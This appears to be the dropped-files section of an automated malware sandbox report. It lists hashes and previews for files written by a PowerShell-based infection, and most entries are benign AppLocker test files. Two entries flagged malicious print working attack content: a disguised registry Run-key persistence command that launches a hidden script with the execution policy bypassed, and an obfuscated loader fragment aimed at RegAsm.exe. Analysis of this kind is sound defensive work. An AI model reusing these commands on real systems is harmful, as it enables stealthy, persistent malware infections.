                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with very long lines (426), with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):426
                                                                                                                                        Entropy (8bit):5.195783239463549
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:jt2cRS1DuwZH1j0IQHjo5g4rcsny1R3KbQO0c+EkjAuwkn2nK1Mc15d55d55d55T:jZQVVj0psngkbQpc++pfUrddy67
                                                                                                                                        MD5:976141E856DA6526F5570C297F945681
                                                                                                                                        SHA1:051019231AEC7FAC6CF12F7308694F32496EE4B6
                                                                                                                                        SHA-256:EF83102878CE601ADCA5393F93B0FD06FF1E29211836660C9D8D2F3AC6E70AB2
                                                                                                                                        SHA-512:10CB9B7E573DAB95C81EB9594909DEC9CB4075B157B0ADBB36AC876853F9AC6150C3112D0D59A1EB7D5C5DCB1D0B7939B840BCDC06D453BF2C1D5651FECE8CC5
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:Start-Sleep -Seconds 1; New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "Update Drivers NVIDEO_nzm" -Value "cmd.exe /c start /min `"`" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command `". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' `";exit" -PropertyType "String" -force ; exit

                                                                                                                                        C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:Unicode text, UTF-16, little-endian text, with very long lines (29340)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):230924
                                                                                                                                        Entropy (8bit):3.517099130090729
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3072:4AdbgX1dJOj7XIaGrBXEbY2Z1d6m/q8b3MOxm:4Ac1dkj7XIaGrBEbY2Z1d6m/q8b3MOxm
                                                                                                                                        MD5:9D0C5860F23ABDAC253CC4D9CB6C6FA3
                                                                                                                                        SHA1:E815D78270A268FE24C1FA798F0D2450F1A276C3
                                                                                                                                        SHA-256:DF1B66CCAAD1E861784ABC5372C4DFD4F4B3ECA79B9512C34DB9ED2F4630DCDA
                                                                                                                                        SHA-512:0BB74DF30048C634646BA9929F9EB835C614690EE692CF4CFC7F8FDA90D151109C0860791C06097A68065262EBA71CFF820E1C8588412BC9479FA23DD074A177
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:....$.X.o.h.s.K. .=. .'.R.e.g.A.s.m...e.x.e.'...$.G.T.w.R.E. .=. .'.N.h.q.I.M.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.L.o.w.\.D.a.f.t. .S.y.t.e.m.\.P.r.o.g.r.a.m. .R.u.l.e.s. .N.V.I.D.E.O.\.P.r.o.g.r.a.m. .R.u.l.e.s. .N.V.I.D.E.O.\.P.r.o.g.r.a.m. .R.u.l.e.s. .N.V.I.D.E.O.\.P.r.o.g.r.a.m. .R.u.l.e.s. .N.V.I.D.E.O.\.a.i.n.z.w...p.s.1.'.....$.z.s.b.D.t. .=. .'.C.:.\.W.i.n.d.o.w.s.\.M.i.c.r.o.s.o.f.t...N.E.T.\.'. .+. .'.F.r.a.m.e.w.o.r.k.\.v.4...0...3.0.3.1.9.\.'. .+. .$.X.o.h.s.K.;.....$.U.e.b.T.a. .=. .'..!:..!'.;...$.X.K.v.H.v. .=. .'.A.'.;.....$.W.Y.v.t.t. .=. .'.T.V.q.Q..!:..!.!:..!M..!:..!.!:..!.!:..!.!:..!E..!:..!.!:..!.!:..!.!:..!/./.8..!:..!.!:..!L.g..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!Q..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!

                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):323
                                                                                                                                        Entropy (8bit):5.363435887027673
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:Q3La/xwcz92W+P12MUAvvr3tDLIP12MUAvvR+uTL2ql2ABgTv:Q3La/hz92n4M9tDLI4MWuPTAv
                                                                                                                                        MD5:A92E44C0313DAFEC1988D0D379E41A2F
                                                                                                                                        SHA1:C2F5644C418A81C1FB40F74298FF39D1420BFAC0
                                                                                                                                        SHA-256:F3F3E681BE07C36042639B1679ACF8B2D23BE037713D5E395C48006840DBE77A
                                                                                                                                        SHA-512:4F32FE6F35FC6EB4D4CF41EDEDE3C6B3FDFE31E58DA6FC7B301B1EBD3FBEEE64681C928B45E87CD556A1D32D32CB5932764EAB22FFEE11E42B8D5EB0DCFDC22C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:modified
                                                                                                                                        Size (bytes):11608
                                                                                                                                        Entropy (8bit):4.890472898059848
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:192:6xoe5qpOZxoe54ib4ZVsm5emdR2Ca6pZ5bjZN9MVHPjhAgkjDt4iWN3yBGHVQ9sQ:9rib4Zoop3jZN9MVvjNkjh4iUxsT6YpR
                                                                                                                                        MD5:7668663E4159BDB172368AB6779370EF
                                                                                                                                        SHA1:1F1A0EB1FDFE4EFF9F5C54145668A9C4B0820C1D
                                                                                                                                        SHA-256:58F58AACAAD4D689A8B4C35BD65E2A36473D3E0B6383B5E71448AE2C5EC34FA7
                                                                                                                                        SHA-512:4F12612567158B6CAD300731F2CAADFDB8A542244ECF7A2575F6A2B56A680B803571BB5AF5D54D065EF6090B4EFC999FAFDF2808F646BF0322AA0A65B1C95E55
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):64
                                                                                                                                        Entropy (8bit):0.34726597513537405
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Nlll:Nll
                                                                                                                                        MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                                                                        SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                                                                        SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                                                                        SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:@...e...........................................................

                                                                                                                                        C:\Users\user\AppData\Local\Temp\Log.tmp

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                        Category:modified
                                                                                                                                        Size (bytes):77
                                                                                                                                        Entropy (8bit):4.4560959172850065
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:rRSFkTAILCX/FsrTyAFYJKXzovNsra:EFkTjrTyAFYJKDoWra
                                                                                                                                        MD5:3752B376392660B651BFC4FF29F51B44
                                                                                                                                        SHA1:30812EDF20B6411FF84CFBB10F7AAA9E5A89DD6F
                                                                                                                                        SHA-256:BD5D16907D423D59CDCEC178A1876438554ACB3AA1C9182C560F4EA236ADCE2A
                                                                                                                                        SHA-512:C3DD56C6031D82E398908EBF67AABFE825DECF5B3F8A586583F8C1818A03BA9E1562F14308BDFBEF2826BEFBF4697339D7EECAE8B84E1FFF6905C9B05AAF9C05
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....### C:\Windows\system32\cmd.exe ###..[WIN]r....### explorer ###..[WIN]r

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00rntceo.jrr.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_05uwrxvg.w11.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0lppsh3d.deg.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0lyzkmkb.szk.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0vm2u2tj.cld.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11mrdqxk.snb.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ldwhjyp.2hg.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20v3rimq.c5a.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2j3qjly1.41y.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2xddsc2a.j50.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fgwcyo4.4oo.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5b0vrqp2.bca.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5o2hlpce.ati.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ur3z0rt.xb1.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_acn3wbo0.i5m.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b2g2j45w.xxw.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjgfqbmy.m2j.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxsk1tx4.btl.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
